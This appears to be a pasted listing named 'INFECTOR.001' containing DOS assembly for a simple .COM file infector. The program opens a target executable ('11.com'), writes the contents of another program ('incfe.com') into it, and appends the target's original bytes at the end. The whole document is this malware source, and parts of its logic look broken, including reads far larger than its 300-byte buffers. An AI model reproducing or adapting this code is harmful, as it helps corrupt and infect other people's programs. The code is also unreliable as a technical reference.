INFECTOR.001 781 B

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
  1. .model small
  2. .code
  3. org 100h
  4. start:
  5. mov ax, 3d02h
  6. mov dx, offset fname1
  7. int 21h
  8. mov di, ax
  9. mov ax, 3d00h
  10. mov dx, offset fname2
  11. int 21h
  12. mov si, ax
  13. mov ah, 3fh
  14. mov bx, si
  15. mov cx, 0FFFFh
  16. mov dx, OFFSET buffer
  17. int 21h
  18. mov size2, ax
  19. mov ah, 3fh
  20. mov bx, di
  21. mov cx, size2
  22. mov dx, OFFSET buffer2
  23. int 21h
  24. mov ah, 40h
  25. mov bx, di
  26. mov cx, size2
  27. mov dx, offset buffer
  28. int 21h
  29. mov ah, 42h
  30. xor cx, cx
  31. xor dx, dx
  32. mov al, 2
  33. int 21h
  34. mov ah, 40h
  35. mov bx, di
  36. mov cx, size2
  37. mov dx, offset buffer2
  38. int 21h
  39. mov bx, di
  40. mov ah, 3eh
  41. int 21h
  42. mov bx, si
  43. mov ah, 3eh
  44. int 21h
  45. int 20h
  46. fname1 db '11.com',0
  47. fname2 db 'incfe.com',0
  48. size2 dw ?
  49. buffer db 300 dup (?)
  50. buffer2 db 300 dup (?)
  51. end start